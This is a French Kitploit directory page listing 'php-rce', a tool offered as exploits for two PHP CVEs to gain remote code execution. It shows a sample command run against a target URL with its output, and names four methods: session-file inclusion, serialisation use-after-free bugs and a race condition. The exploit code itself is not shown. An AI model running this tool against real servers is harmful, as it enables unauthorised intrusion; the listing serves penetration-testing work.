Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
php-rce — Exploits pour CVE-2026-109618 / CVE-2026-109619 permettant d'obtenir une RCE sur des cibles PHP | Kitploit
Outils/GitHubGitHub/david-alvarez-rosa/php-rce
Analyse des VulnérabilitésExploitationScripting et AutomatisationExploitation d'Applications WebSécurité WebTests d'IntrusionOutil d'Accès à Distance
GitHubdavid-alvarez-rosa/php-rce

php-rce

Exploits pour CVE-2026-109618 / CVE-2026-109619 permettant d'obtenir une RCE sur des cibles PHP

Voir le dépôt
24724il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
  • Exécution de code à distance en PHP

Exploit pour CVE-2026-109618 / CVE-2026-109619. Plusieurs exploits pour parvenir à une RCE sur des cibles PHP vulnérables.

** Utilisation

#+begin_src sh $ uv sync $ uv run php-rce --url http://target/index.php --cmd "hostname" target: http://target/index.php cmd: hostname

trying session_lfi ... injecting session + scanning 56 LFI paths... found at attempt 23

vulnerable-hostname #+end_src

** Exploits

  • session_lfi :: inclusion de fichier de session
  • serialize_uaf :: use-after-free de sérialisation
  • unserialize_uaf :: use-after-free de désérialisation
  • fast_fire :: exécution basée sur une condition de course

Ils s'exécutent séquentiellement, le premier qui réussit exécute la commande.

Télécharger l’outil